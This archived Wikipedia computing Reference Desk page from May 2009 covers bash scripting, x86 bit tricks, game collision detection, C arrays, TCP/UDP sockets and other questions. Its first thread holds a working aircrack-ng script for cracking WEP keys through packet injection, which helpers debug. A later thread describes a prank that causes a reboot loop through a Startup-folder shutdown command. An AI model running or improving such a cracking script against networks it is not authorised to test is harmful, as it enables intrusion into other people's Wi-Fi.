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May 11

Bash Scripting errors

Hello there, I am having a problem with the script below, The script works just fine but it returns some errors. I was wondering how i can make these errors go away. If it helps i am running Ubuntu 9.04. Thank you

Script

#!/bin/bash
#Checks for and promps for data
echo "Please wait"
AIRESSID=$3

if [ $1 = ]; then
	echo "BSSID?"
	read AIRBSSID
else
	AIRBSSID=$1
fi
if [ $2 = ]; then
	echo "Channel?"
	read AIRCHANNEL
else
	AIRCHANNEL=$2
fi
if [ $4 = ]; then
	AIRTIME=3m
else
	AIRTIME=$4
fi
#Start the wireless interface in monitor mode on the specific AP channel
sudo ifconfig wlan0 down > null
sudo airmon-ng start wlan0 $AIRCHANNEL > null
sudo iwconfig wlan0 channel $AIRCHANNEL > null
#Use aireplay-ng to do a fake authentication with the access point
if [ $AIRESSID = ]; then
		sudo aireplay-ng -1 0 -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
		gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
		else
		sudo aireplay-ng -1 0 -a $AIRBSSID -e $AIRESSID -h 00:00:00:00:00:00 mon0 &
		gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -e $AIRESSID -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
	fi
#Start airodump-ng on AP channel with a bssid filter in a new window to collect the new unique IVs
gnome-terminal -x sudo airodump-ng -c $AIRCHANNEL --bssid $AIRBSSID -w /home/User/output/output mon0 &
#Start aireplay-ng in ARP request replay mode to inject packets in new window
gnome-terminal -x sudo aireplay-ng -3 -b $AIRBSSID -h 00:00:00:00:00:00 mon0 &
#waits while airodump gathers data
echo "Please wait" $AIRTIME
sleep $AIRTIME
#Run aircrack-ng to crack key using the IVs collected
sudo aircrack-ng -z -b $AIRBSSID /home/User/output/output*.cap
#Stops the WiFi card and brings it back up for use by the user.
sudo airmon-ng stop mon0 > null
sudo ifconfig wlan0 down > null

Output Errors

User@CompName:~$ ./startaircrack 00:00:00:00:00:01 6 123456
Please wait
./startaircrack: line 6: [: 00:00:00:00:00:01: unary operator expected
./startaircrack: line 12: [: 6: unary operator expected
./startaircrack: line 28: [: 123456: unary operator expected
Please wait 3m

SmilyHill (talk) 16:48, 11 May 2009 (UTC)

Your script seems to be doing something to crack WiFi access. If the access point is not your own, what you are doing could make you very unpopular with your neighbours and could be illegal in some jurisdictions. Astronaut (talk) 17:28, 11 May 2009 (UTC)

This is very true. I will not dive in to my business practices on a public forum, but i will tell you that i do not break in to anyone's WiFi without their express written permission. SmilyHill (talk) 18:00, 11 May 2009 (UTC)

I can't do any testing right now, but I think the problem is that in the lines like:

if [ $1 = ]; then

there has to be something on the right side of the equals sign. A common approach is to put an "x" or other symbol on both sides:

if [ x$1 = x ]; then

See if that helps. -- Coneslayer (talk) 18:14, 11 May 2009 (UTC)

I just tried it, I get the same error.

Output Errors

User@CompName:~$ startaircrack 00:00:00:00:00 6 12345
Please wait
/bin/startaircrack: line 10: [: 00:00:00:00:00: unary operator expected
/bin/startaircrack: line 16: [: 6: unary operator expected
/bin/startaircrack: line 32: [: 12345: unary operator expected

SmilyHill (talk) 18:23, 11 May 2009 (UTC)

So presumably you're doing pen testing or something. I'd expect you to be able to fix some simple and obvious bash errors. Hint: RTFM for test. --h2g2bob (talk) 18:27, 11 May 2009 (UTC)

I am not sure what error's are "obvious". That is why i am here.

I know this script is written in a sloppy way, infact i had to rewrite it for Ubuntu 9.04. If someone know a better way to write this.. or even a way to throw this in a GUI, feel free to let me know. SmilyHill (talk) 18:30, 11 May 2009 (UTC)

Try some whitespace between your brackets and your expressions inside the [ : = :$VAR ] statements. As for being "obvious", the error messages are telling you exactly which line of code is broken. As mentioned above, fix these lines of code. If you need further help with test statements, type

man test

in the terminal, and you will get all the correct syntax for this type of statement. Nimur (talk) 18:38, 11 May 2009 (UTC)

That worked. Thank you. SmilyHill (talk) 18:48, 11 May 2009 (UTC)

Rewrite

I'd like to know how i can rewrite this script to accept expressions. What i mean by this is that i would like to type in the following code to run the program:

User@CompName:~$ startaircrack --Mac=00:00:00:00:00 --channel=6 ESSID==12345

Or

User@CompName:~$ startaircrack -m 00:00:00:00:00 -c 6 -e 12345

The reason i'd like to do this is because the order that i give the expressions would not matter;

SmilyHill (talk) 18:48, 11 May 2009 (UTC)

As you might have already figured out, BASH doesn't have such a feature built-in. You can either write your own argument-parser (think of a simple for-loop to iterate over the input arguments, and some switch statement logic), or find a "library" utility which already does this for more complex argument-lists, with error-handling. Nimur (talk) 18:54, 11 May 2009 (UTC)

Sure it does. Type "help getopts" or google for bash getopts for tutorials. --Sean 20:00, 11 May 2009 (UTC)

The most cross-platform way to write an if statement for Bourne-ish shells is:

if [ "X$var" = Xwhatever ]

This will parse correctly whether var is empty, has spaces, etc. You must of course quote the thing on the right if it's got anything weird in it. Also, I can't believe some of the rude responses in this thread. --Sean 20:00, 11 May 2009 (UTC)

Resolved

Infinite Boot Loop

I am not a computer expert, in fact far from it, I know very little about computers. But I was reading an article the other day about some pranks to play on people using their computers where you formed what they called an "infinite boot loop" where the computer would try to start, then shut down part of the way through, then repeat the process, obviously infinitely if there is a power supply. The article said that in order to stop it all you had to do was to start up in safe mode then delete it. Well, safe mode didn't work either. What I did was create a shortcut on my desktop that said this in the location box - "shutdown -r -t 10 -c "Your Message Here"". Is there any real way to undo this action and how can I get rid of it? Thanks jondn (talk) 19:36, 11 May 2009 (UTC)

The easiest way is probably to boot from a different medium. This used to be done with floppy disks, but I doubt you have any of those lying around. The most likely candidate is your windows installation CD. If you start up with that in your drive, your computer is likely to boot from the CD, rather than the hard disk. If this doesn't work, you'll need to enter you BIOS and change the boot order. Once you've booted from the windows cd, you can enter recovery mode, which gives you a command prompt, you can type "C:" to change to your hard disk. "dir" to get a list of files and folders in your current location, and "cd foldername" to change to another folder. In Windows Vista, the startup folder is in

C:\users\YourName\AppData\Roaming\Microsoft\Windows\Start Menu

So you would type "c:" hit enter, and then "cd users\YourName\AppData\Roaming\Microsoft\Windows\Start Menu". then you can type "del nameoffile" to delete your shortcut file. risk (talk) 19:50, 11 May 2009 (UTC)

A different way to do the same thing as suggested above would be to stick your hard drive in someone else's computer, delete the offending file from in there, and then return it to its place in your machine. --Sean 20:03, 11 May 2009 (UTC)

So is following these instructions different than getting in cmd through safe mode and deleting the file without the disk? A friend of mine was able to get into it and supposedly deleted the file (the next time we looked for it it was gone), but the problem still persists.

Thanks for your help jondn (talk) 22:05, 11 May 2009 (UTC)

If I understand correctly, you made a shortcut in your Startup folder (not on your desktop, it wouldn't run automatically there) which runs "shutdown -r -t 10". That restarts the computer (-r) after a ten-second warning period (-t 10). One thing you could try, if you're a fast enough typist, is pressing Win+R to open the Run dialog and then typing "shutdown -a" (without the quotes, followed by Enter). You can start typing the command before the ten-second warning dialog comes up, but don't press Enter until it's visible. That will cancel the restart, and then you have unlimited time to hunt down the file before your next restart. If you're using Windows XP or earlier then another solution is to hold down the Shift during the startup process, which will prevent programs in the Startup folder from running. They removed that feature in Vista for some reason.

Am I also to understand that your friend did this to his/her own machine, then undid it by deleting the file, and it's still happening? That makes no sense at all. -- BenRG (talk) 11:44, 12 May 2009 (UTC)

You could try holding down the shift key during the boot process. I think it is supposed to suppress the running of anything in the Startup folder (at least it did so on older versions of Windows but I haven't heard if this still works on Xp or Vista). Astronaut (talk) 11:57, 12 May 2009 (UTC)

rss feeds

Hello, I am looking for a way to open all linked .html pages in a given rss feed into new tabs automatically in firefox. I would like the system to update the rss feed and when a new .html page appears to open it also in a new tab, but not to open .html pages that have already been opened into new tabs. Thank you —Preceding unsigned comment added by Saving rss feeds (talk • contribs) 20:48, 11 May 2009 (UTC)

I have an iMacros macro that will open links from a static page, on one particular site. You'd need a script that will monitor the feed, either continuously or at intervals, and be able to identify the new content. I'd love to have one like this myself. If you'd say what scripting or programming experience you have, someone is sure to offer a solution.KoolerStill (talk) 16:32, 12 May 2009 (UTC)

Future trend of the FCC's regulations in the 2.4-GHz RF spectrums?

What is the future trend of this agency's regulations in the 2.4-GHz RF spectrum —Preceding unsigned comment added by 75.151.177.58 (talk) 23:21, 11 May 2009 (UTC)

May 12

Music Transcriber software

Is there any software out there that will allow me to manually enter in notes for a sheet music and transcribe the entered notes into any key or any octave I want? Acceptable (talk) 02:58, 12 May 2009 (UTC)

Sibelius certainly does this, and no doubt other score-writing packages do so as well how do I do a wikilink to a category?. AndrewWTaylor (talk) 11:11, 12 May 2009 (UTC)

Put a colon after the second square bracket: Category:Scorewriters— Matt Eason ^{(Talk • Contribs)} 12:42, 12 May 2009 (UTC)

Easy when you know how - thanks. AndrewWTaylor (talk) 14:17, 12 May 2009 (UTC)

Ah thanks a bunch. Acceptable (talk) 03:46, 13 May 2009 (UTC)

Dotcom Bubble mk II

How do Twitter, Facebook, and their ilk make money? I overheard someone saying something like "Twitter must be worth a fortune"? srsly?? They don't charge for their service and are barely providing anything of actual value to society. Is this Phase II of the dot-com bubble? Incidentally, Twitter has zero information about their revenue or business model, to the extent it's possible to have a business model based on free blogging. —Preceding unsigned comment added by 98.28.115.135 (talk) 07:21, 12 May 2009 (UTC)

Adverts —Preceding unsigned comment added by 82.44.54.169 (talk) 07:35, 12 May 2009 (UTC)

First off, both of you should try to sign your posts with four ~'s. And now for the actual answer: As far as I know, they don't. I recall reading that neither Facebook nor Twitter have ever turned a profit. Thanks, gENIUS101 21:21, 12 May 2009 (UTC)

So it is overvalued then? Even if they make some money from advertising, I don't see how that would even come close to paying for their costs. 98.28.115.135 (talk) 02:31, 13 May 2009 (UTC)

It can't be overvalued if it's not for sale. Twitter mostly runs on private funding, from what I understand, though they're looking at deals to bring in revenue from corporations. They've been fairly mum on what that entails. — The Hand That Feeds You:^Bite 13:27, 13 May 2009 (UTC)

It comes from venture capital too. Also the $200 million that Microsoft paid Facebook for a small percentage could have helped you think? (heavy sarcasm here) Sandman30s (talk) 07:05, 13 May 2009 (UTC)

You guys are overlooking the obvious answers: Facebook is funded entirely by the NSA (google it) and Twitter is run out of the back of some guy's van (seriously, how hard is it to ship 160 byte messages around?) On a more serious note, both of these companies demonstrate a post-dotcom agenda of "It's the visibility, stupid". If Twitter or Facebook went out tomorrow and said "hey microsoft, yahoo, google, what will you give me for my domain and all my customers?" the price would be astoundingly high considering the estimated ROI would be "never". Instead, it's the fact that those services simply appear in front of millions of eyeballs a day that makes them incredibly valuable. Just look at the sale of Myspace (except nevermind that it's been relegated to the social networking dustbin). --66.195.232.121 (talk) 17:32, 13 May 2009 (UTC)

Sorry for continuing with this, but I still don't understand the economics of the situation. The "venture capital" and "money from Microsoft" answers above would seem to be begging the question -- why do those companies invest? They must perceive Facebook etc to be very valuable. What is the value? Is it really the eyeballs? This "mind-share" idea was a major part of the dot-com bubble, if I recall. Why would Microsoft, Google, or whoever shell out millions for one of these services and all their subscribers (not "customers", since the users don't apparently pay anything)? Is it for the right to mine the data or send "special offers" to their email accounts? In the dot-com bubble, everyone's business model seemed to be based on this kind of "potential revenue" concept. "Build mind-share now; we'll figure out how to make money with it later." Is that what's going on here? Please help me understand.

By the way, if I owned Facebook, I would start charging a yearly subscription fee, or implement a micropayment scheme. But I know very little about finance and marketing (obviously, since I'm asking all these questions). Surely there's a good reason that the people who control Facebook and other social networking sites don't do this. What is it? —Preceding unsigned comment added by 98.28.115.135 (talk) 06:05, 14 May 2009 (UTC)

Yes after the Microsoft purchase, Facebook was valued at over $10 billion and the owner said that he thought it was worth much more. It is worth that much simply because of the number of people that use it and the potential in advertising revenue. Any marketing company would tell you that the more people that see the product, the more effecting the marketing. The world's most powerful revenue streams are from advertising - look at the billions of dollars of television rights being sold? Imagine your product being shown on the front page of facebook - what that would be worth to you, and how much you would have to pay to advertise there!? Sandman30s (talk) 14:55, 14 May 2009 (UTC)

But advertising business is speculative, and has all the makings for a bubble. Money is poured in to advertisements on the presupposition that there is a return on that investment. Now that the internet medium has become commonly used for advertisements, metrics and data-collection are available which may indicate that the advertisements are not as effective as originally believed. Look at click-through rates. They are disturbingly low, and I have a hard time believing that the costs are justifiable - even on a high-volume, high-traffic site like Facebook. Nimur (talk) 14:59, 14 May 2009 (UTC)

I recently signed up to Twitter and was surprised at the lack of adverts so I did some rummaging through their "about" pages to find out where their money was coming from and the answer was "it isn't". They don't make any money and spend large amounts of it. I think their plan is to build up a massive customer base (so far so good!) and then find a way to make money out of it. I'm not sure how they intend to do that. Simple adverts probably won't cover much (a lot of twitter users access it through 3rd party clients, so they won't see any adverts put on twitter.com), they'll have to come up with something more inventive, probably unique to their service. I'm not convinced they'll manage it... --Tango (talk) 15:12, 14 May 2009 (UTC)

I don't know, some websites aren't looking to make a profit, just to keep existing and provide a service. I think I'm on one right now. —Preceding unsigned comment added by 82.44.54.169 (talk) 16:09, 14 May 2009 (UTC)

Wikipedia is run by charity that is funded by donations. Twitter isn't funded by donations, it is funded by investors. People only invest if they expect to get a return on that investment, ie. the company will turn a profit. --Tango (talk) 16:26, 14 May 2009 (UTC)

Just giving wikipedia as an example. I can think of loads of websites that seem to exist only to provide a service to its userbase with no real profit goal in mind, yet they survive and thrive

Hosting a website costs money, that money has to come from somewhere. Either it comes from donations, or it comes from investors that expect a return. I can't see people donating to keep Twitter running, it's just not that kind of site. --Tango (talk) 21:20, 14 May 2009 (UTC)

It is worth that much simply because of the number of people that use it and the potential in advertising revenue. Any marketing company would tell you that the more people that see the product, the more effecting the marketing. The world's most powerful revenue streams are from advertising - look at the billions of dollars of television rights being sold.

I guess this is the concept I'm struggling with. Business people (who presumably know more than me about this stuff) seem to regard this "potential revenue" very favorably, despite no provable way to turn it into real revenue, at least as far as I can see. The analogy with television isn't very good, because television viewers are passively focused on TV over very long periods of time, and very subtle forms of advertisement (such as product placement, or themed shows) can be effective. Moreover, TV commercials have become an institution in their own right. Many web users block ads, and the remainder probably just ignore them since they are actively mousing around to things they are interested in on the page. Is ownership of Facebook, Twitter, and the like maybe just a "branding" thing (as in, "everyone uses Facebook...Company X owns Facebook and has their logo on it...therefore Company X has huge brand awareness")? Or maybe I'm reading too much into this, and websites really are worth whatever people think they're worth? (Is there an economic term for this sort of "virtual value"?) And didn't this idea crash and burn in the late 90s? 98.28.115.135 (talk) 18:11, 14 May 2009 (UTC)

OK let me answer this based on the dot-com bubble link you provided. This link speaks about several factors in its third paragraph: "A combination of rapidly increasing stock prices, individual speculation in stocks, and widely available venture capital created an exuberant environment in which many of these businesses dismissed standard business models, focusing on increasing market share at the expense of the bottom line."

Based on this, they state that there was widely available venture capital at the time. Stock markets were bearish and America was in an economic boom during the 90's - and there was this phenonemom called the internet that was growing exponentially. Investors poured loads of "other" money into dot-coms. This created an irrational over-exuberance, because most of the dot-coms had shaky business models without foundations (bottom lines). This created speculation. An example of a dot-com that survived was amazon, because it had a tangible business model of selling physical stock (books) as opposed to virtual stock (stock value on the stock markets). Many other dot-coms (50%) went bust (to the tune of $5 trillion) because when the stock market crashed, they lost large volumes of stock, and lots of them had already burned their venture capital. Nobody wants to invest more in a crash, with the exception of purchasing cash-strapped companies with tangible models and solid contracts. And so that was the end of the dot-com phenomenon.

The new decade ushered in a new breed of internet companies - those based on physical sales with an underlying structure that could survive another crash. As the stock markets entered another bear run from about 2004 onwards, came the social networking heavyweights. Once again, people had venture capital to invest in myspace, facebook, etc. Even with the recent financial crisis and stock market crashes, these sites have managed to survive. Whether it's because of an excess of venture capital or because of the existence of powerful advertising streams (google makes the world go round), I don't know. Whether social networking sites are here to stay or not, is speculation. The fact that Microsoft spent so much on Facebook, and wanted to buy Yahoo for gazillions of dollars, and Oracle buying Sun (and in turn Java) really says something: the big boys of the tech world want to have their presence felt online and that is a trend that these companies have paid big money to actuaries and business analysts to OK. Sandman30s (talk) 19:24, 14 May 2009 (UTC)

Simplify bitwise expressions?

Is there a way to simply bitwise expressions? For example, in CRC32 there is an expression: (h >> 1) ^ ((h & 1) ? POLYNOMIAL : 0). Most compilers don't implement this very efficiently but with some bitwise operator tricks you can implement this in 4 x86 assembly instructions. Is there some systematic way of doing things like this? --wj32 ^t/c 11:26, 12 May 2009 (UTC)

Yes - you need to learn about Karnaugh maps (or "K-maps" for short). The problem is that in your example here, 'h' is not a boolean but an unsigned integer or something...which makes it harder. However, understanding what the expression is doing and writing that down in English will usually help you figure out another way to handle it. In this case, we're downshifting 'h' and XOR'ing it with either POLYNOMIAL or zero. Since XOR'ing with zero does nothing, we're saying "downshift h ; if the bit that fell off the bottom end is a 1 then XOR h with POLYNOMIAL" - what you can do to optimize this depends on the machine-code of whatever processor you are using. On some CPU architectures, there is a down-shift operator that puts the bit that falls off the end into the carry flag or something - in which case you can downshift and do a conditional branch around the XOR instruction...but what is optimal depends on the architecture of the CPU you are using - and also on whether you are optimizing for minimal code size or maximum performance - and whether your input variables are already in registers...lots of things! SteveBaker (talk) 12:48, 12 May 2009 (UTC)

I assume the four instructions you're talking about are

   shr eax, 1
   sbb ebx, ebx
   and ebx, POLYNOMIAL
   xor eax, ebx

I think the major x86 optimizing compilers know the SBB/AND trick, but they're not very good at making use of implicitly set flags (the carry flag in this case). They generate carry-setting instructions followed by SBB and AND, but only as part of specific three-instruction idioms. Probably that's because the optimization phase that could make use of the carry flag runs before the code-generation phase that could notice that the carry flag is available. But this is clearly a soluble problem because they solve it for / and %. X86 has a single instruction that produces both a quotient and a remainder and every optimizing compiler I've used is smart enough to generate a single division instruction for code that uses both. I don't know how they do that, but probably it's by turning x = b / c; y = b % c; into (x,dummy1) = divmod(b,c); (dummy2,y) = divmod(b,c); and letting common subexpression elimination handle the rest. Whatever trick they use, it would surely also work for >>1 and &1. So why don't they do that? My best guess is because it would seriously slow compilation to generate those compound assignments for every instruction that sets flag registers. Every addition and subtraction would become a compound assignment to five registers, which would cause major intermediate-language code bloat. So, yes, I think standard compiler tricks could systematically produce better bit-twiddling code, but the compiler writers aren't willing to pay the price in compilation speed.

Or maybe they just don't care. Look at the output of Microsoft C 15.0:

   mov ebx, eax
   and al, 1
   movzx eax, al
   neg eax
   sbb eax, eax
   and eax, POLYNOMIAL
   shr ebx, 1
   xor eax, ebx

So it converts the value to a byte before doing the &, then converts it back to a word, then does the NEG-SBB-AND idiom even though a simple NEG-AND would have worked. GCC 3.4.4 emits a conditional jump that will be mispredicted 50% of the time (though it can't be expected to know that). At least it's smart enough to change that to a CMOV when I specify -march=pentiumpro. GCC 4.3.2 was the only compiler that produced the kind of code I expected them all to produce, namely

   mov ebx, eax
   and eax, 1
   neg eax
   and eax, POLYNOMIAL
   shr ebx, 1
   xor eax, ebx

I'm curious to see what Intel's compiler does with this code, but I don't have it installed and I'm not too keen to download a 586 MB tar.gz file just to try a trivial two-second example.

If you were wondering about searching for provably optimal code sequences, I'm afraid I have no idea. -- BenRG (talk) 14:28, 12 May 2009 (UTC)

See Superoptimization for optimal code for things like this. It has to be fairly important to start running that sort of optimization though. Optimizing a really critical section is one rason many compilers allow you to put a little bit of assembly inline. Dmcq (talk) 15:41, 12 May 2009 (UTC)

Thanks for all your responses. I had come up with these five instructions originally (similar to what GCC produces):

; eax = edi = h
and	eax, 0xfffffffe ; if h & 1 then eax = h - 1, otherwise eax = h
sub	eax, edi ; if h & 1 then eax = h - 1 - h = -1, otherwise eax = h - h = 0
and	eax, POLYNOMIAL ; if h & 1 then eax = POLYNOMIAL, otherwise eax = 0
shr	edi, 1
xor	edi, eax

--wj32 ^t/c 05:57, 13 May 2009 (UTC)

Definitely check out the wonderful book Hacker's Delight for lots of this kind of thing. --Sean 17:41, 14 May 2009 (UTC)

Tree structure

In a tree structure, the disadvantages lie in what is obscured or left out: relations that are neither hierarchical nor transitive, or overlapping. However, are there structures that specialize in every single kind of relation - overlapping, circular, etc? What are they?--Mr.K. (talk) 17:06, 12 May 2009 (UTC)

A graph is a generalization of a tree that removes hierarchy and the parent-child relationship. There are many ways to implement graphs, such as using linked lists with multiple links per node. -- kainaw™ 19:42, 12 May 2009 (UTC)

Collision detection in games

What kind of things they do for that in modern games? I've had a look on BSP, BHV and BIH but they don't answer my question. --194.197.235.70 (talk) 20:42, 12 May 2009 (UTC)

Collision of spheres (or circles in 2D) is a very simple calculation, based only on the center of two spheres and the radius. Therefore, games tend to simplify things to spheres. When it is acceptable, things may become cylinders. In this case, the collision is based on the center of the cylinders and radius as before, but with height included. It is a 2D view from overhead. When things collide in the 2D view, height is checked to see if one object is above the other. Because games need to make many calculations quickly, it is rare that collision detection will go further. that is why it is not uncommon to see object partially intersect other objects before the collision detection kicks in. -- kainaw™ 20:49, 12 May 2009 (UTC)

This "Advanced Collision Detection Techniques" article on Gamasutra from 2000 may be informative. Tempshill (talk) 02:45, 13 May 2009 (UTC)

It's an expensive calculation (in general) and the idea is to use the simplest possible shapes - consistent with the needs of the game mechanics. The critical thing here is that you very rarely need an exact test. Spheres, boxes, axially-aligned boxes, frustums and 'capsules' (cylinders with hemispherical end-caps) are very popular - but some things just have to be done with detailed polygon meshes - which is a pain to program correctly and hideously expensive at runtime.

In most cases, we use a simpler shape (typically a sphere) to do a rough check - if you penetrate the sphere, then we go on to do the full calculation with a more elaborate shape...but in cases where collisions are very likely (eg the wheels of a car being tested against the road in a driving sim), that might just add more time penalty. When there are a vast number of objects and even comparing sphere-to-sphere is too costly, we'll use a 'broadphase' check where the objects are dumped into a quad-tree or octtree structure first so that we only have to check things that are in the same or adjacent cells...when they are close enough, you dump potential collision candidate pairs into a queue and perform 'narrow-phase' checks on more detailed geometry.

Very often, this odeous problem gets handled by the physics software middleware - so you just let Havok or whatever handle it...and they are welcome to that because collision detection is a tedious and generally thankless programming task! You might just have your artists model the collision volumes on an object-by-object basis rather than attempting a one-size-fits-all solution. There are tricks using BSP trees that can be used where a full mesh collision is needed - but BSP's are a pain to maintain when objects are moving or changing shape - so you have to be pretty desperate to resort to using them.

However, no two games are the same - and collision detection is one of those places where "domain-specific-knowledge" can get you huge wins.

SteveBaker (talk) 03:35, 13 May 2009 (UTC)

Aah gone are the days of 8-bit sprites and simple XOR algorithms... oh wherefore art thou Commodore 64? Sandman30s (talk) 07:02, 13 May 2009 (UTC)

They aren't entirely gone - iPhone and flash games still do that kind of stuff. SteveBaker (talk) 20:28, 13 May 2009 (UTC)

Thanks for the replies. --194.197.235.70 (talk) 19:24, 14 May 2009 (UTC)

Problem transferring files to CD from digital camera card

Hello! When I transfer a photo (.jpg) from my digital camera to a CD to archive it and clear the camera card, a small amount of the images strangely get corrupted. I've uploaded some of the files from the CD-corrupted copy (the file originally looked okay on the camera card) to Commons as examples:

(I've cropped two of them to preserve the anonymity of the subjects.)

Cropped a little at the top

cropped a litle from the left—the only true color of this photo is the sliver at the top

Why does this happen? Can it be fixed with some kind of photo-editing software (I no longer have the original file on the camera card to just re-copy it)? What steps can I take to prevent this in the future when I move photo files from a camera card to a CD? Thank you very much.--el Aprel (^facta-_facienda) 21:39, 12 May 2009 (UTC)

This looks like a software bug in the implementation of the file system, or the JPEG compressor, on the digital camera (maybe there was a CPU brownout during file-transfer due to low battery on the camera). In some of the pictures it looks like you dropped a color channel (or something); in others, there is irrecoverable data loss. It's not likely that these photos can be recovered. Nimur (talk) 21:57, 12 May 2009 (UTC)

He said the images look fine before they are transferred to the cd, so it's not the camera corrupting the jpeg. I've seen something similar to this when downloading pictures from the internet and the download is interrupted half way through, perhaps your software isn't burning the images to the disk properly

ps I moved the images over to the right of the page as they were interfering with the text formatting

I would check each part of the process. Somewhere along the line, it looks like data is being dropped. Maybe the camera isn't recording it properly on the card. Maybe the card has some dead spots (unreadable or unwritable) on it. Maybe the USB cable is loose. Maybe your camera or PC has some fault handling Jpegs. Maybe the CD burning software is suffering from buffer underflows. Try different cameras. Try different cards in the camera. Try different PCs. Try different burning software. and so on. If everything really is fine until you burn to CD, then check the CD burning software first (try burning at a slower speed, especially if the blank CDs are extra cheap).

C programming

Does C have a built-in command/function/etc. that returns the number of elements of a list? If so, what is it? If not, how can one determine the number of elements of a list of unknown length? Lucas Brown 42 (talk) 23:06, 12 May 2009 (UTC)

C does not have a built-in list data type. You can have a static-sized array, but you must know its length ahead of time. Or, you can have a null-terminated array (or linked-list), and you must traverse it and keep count of number of items, in order to count the list items. Nimur (talk) 23:25, 12 May 2009 (UTC)

Well - under very special circumstances. If you declare your "list" as an array:

  int myArray [ 100 ] ;

...then you can say:

  x = sizeof(myArray)/sizeof(myArray[0]) ;

...and x will be set to 100. But that can only work when the compiler can 'see' the array declaration. If you do something like this:

  int  myArray [ 100 ] ;
  int *myPointer ;
  
  myPointer = myArray ;
  
  x = sizeof(myPointer)/sizeof(myPointer[0]) ;

...then x will be the size of a pointer divided by the size of an integer - not the size of myArray! But in general - no. SteveBaker (talk) 02:56, 13 May 2009 (UTC)

Alright... what would happen if I tried to access the n+1^th item of an n-element array? --Lucas Brown 42 (talk) 16:28, 13 May 2009 (UTC)

That's called a buffer overflow, and is a common cause of bugs and program crashes. -- 128.104.112.117 (talk) 17:53, 13 May 2009 (UTC)

...and because arrays in most modern programming languages start at index zero - accessing the n'th item of an n-element array is also likely to crash your program! What actually happens when you read or write past the end of the array depends on the programming language. Some languages do 'array bound checking' and making this kind of error will likely trigger an error condition. Other language (of which C and C++ are good examples) don't do this check (because it takes time that some applications can't afford to waste). In that case, what happens is that some other location in memory is accessed instead. That could be the variable declared either just before or just after your array - or it might be something else entirely. This might cause your program to crash - but it might instead just start behaving really strangely - with variables changing their value for no apparent reason! While you are still learning to program well (and even afterwards!) it's often wise to do something like this:

  #define MY_ARRAY_SIZE 100
  int myArray [ MY_ARRAY_SIZE ] ;

  assert ( y >= 0 && y < MY_ARRAY_SIZE ) ;
  x = myArray [ y ] ;

the 'assert' command crashes your program in a way that's easy to diagnose if the expression within the round brackets does not evaluate to 'true'. In most systems, these 'assert' commands can easily be 'turned off' at compile time when your program works and you don't need them anymore. SteveBaker (talk) 20:26, 13 May 2009 (UTC)

May 13

TCP sockets, do they have two socket addresses...?

From our article, Internet socket:

"As seen in the discussion below, in the TCP case, each unique socket pair 4-tuple is assigned a socket number, while in the UDP case, each unique local socket address is assigned a socket number."

May someone, please, provide a reference for that statement? --Taraborn (talk) 00:29, 13 May 2009 (UTC)

I don't have a reference, but I can explain it (which might help to assuage doubt or find a reference): it refers (at least) to a server's sockets, which will all share the local address and port but have different remote addresses and/or ports. --Tardis (talk) 14:56, 13 May 2009 (UTC)

Thanks. I understand what it says, and it seems reasonable to me, but I wanted to be completely sure that it is true since I've been unable to find a different source that states the same (that TCP sockets need 2 socket addresses unlike "normal" sockets (like UDP's) that only have one). --Taraborn (talk) 17:31, 13 May 2009 (UTC)

I think you'll have to wade through RFC's if you want to find a reference for that statement, but be careful, the "sockets" and "socket numbers" discussed in the article are not the same as "sockets" and "socket descriptors" as programmers know them. If you are trying to improve the article the only advice i can give you is to remember that socket objects or socket descriptors in APIs and programming texts are different animals from the sockets and socket numbers of RFC 147. If instead you're trying to understand network programming then ignore the Internet socket article.

Is it true that TCP sockets have two addresses while UDP sockets have only one? Yes and no, depends on how you look at it i guess. Both types are bound to a local ip and port. Connection oriented TCP sockets listen and accept incoming connections (on the server side) or connect to a remote ip/port (on the client side). Connectionless UDP sockets send and receive datagrams to and from remote ip/ports.

Using TCP from the client side you first request a socket object/descriptor, then bind it to a local ip/port. You have now associated two parts of the 4-tuple with the socket, but you're not yet ready to send any data, first you must connect to a remote ip/port. Now you have the full 4-tuple associated with the TCP socket and can go ahead and read and write to the socket.

Using the connectionless UDP you start out the same way: request the socket, then bind the local ip/port. The difference is that the UDP socket does not connect to a remote ip/port, after binding the socket you're ready to send and receive datagrams. But now you have to fill in the remote ip/port part of the 4-tuple each time you send a datagram, and the socket implementation will tell you the remote ip/port each time you receive a datagram. See sendto() and recvfrom() in the Berkeley sockets API.

You always need the full 4-tuple in order to transfer any data using TCP or UDP. Sockets are bound to the local ip/port which fills in two parts of the 4-tuple. TCP sockets are connected to a remote socket which fills in the other two. UDP sockets are never connected, the 4-tuple is filled in for each datagram (which can be a different ip/port each time). It's probably true that somewhere within the socket implementation a "socket number" is assigned to a UDP socket after it is bound (two parts of the 4-tuple) but only after a TCP socket is connected (all four parts of the 4-tuple). So what? Who cares? Only the programmer who writes the socket implementation, and the unlucky editor looking for a citation for the Wikipedia article.—eric 08:35, 14 May 2009 (UTC)

To add to the confusion, you can indeed call connect() on a UDP/SOCK_DGRAM socket, but all it does is say "use this address when I use send() rather than sendto()". --Sean 14:18, 14 May 2009 (UTC)

On some platforms, connecting UDP socket is needed to be able to receive ICMP messages that your outgoing packets generated (eg Port unreachable) Unilynx (talk) 18:24, 16 May 2009 (UTC)

WAV Sound in Java

Hello. The Web was unhelpful to me. When I want to play a .wav audio clip in my applet, the console displays "java.io.FileNotFoundException: <File Name Here> (The system cannot find the file specified)". The .wav file is in the same folder as my source. I tried other alternatives on the Internet, which led me to a wide variety of other errors. How do I debug this? Thanks in advance. --Mayfare (talk) 01:42, 13 May 2009 (UTC)

Post a minimal complete program demonstrating the problem. --Sean 13:34, 13 May 2009 (UTC)

I fixed it! Now, I have a NullPointerException error.

AudioClip wht = getAudioClip (getCodeBase, "L:/Reversi/1000 Hz.wav");
if (turn)
{
     ...
     wht.play ();
}

--Mayfare (talk) 01:47, 14 May 2009 (UTC)

Post a minimal complete program demonstrating the problem. Something tells me you'll fix it again! --Sean 14:19, 14 May 2009 (UTC)

I believe this should do it: AudioClip wht = getAudioClip (getCodeBase(), "1000 Hz.wav");

What was happening: getCodeBase() was already getting the path. You need to use the relative path (in this case, just the filename, since it is in the same directory) for the second parameter, so far as I can tell. Applet JavadocWashii (talk) 23:29, 16 May 2009 (UTC)

Still no sound. --Mayfare (talk) 22:29, 17 May 2009 (UTC)

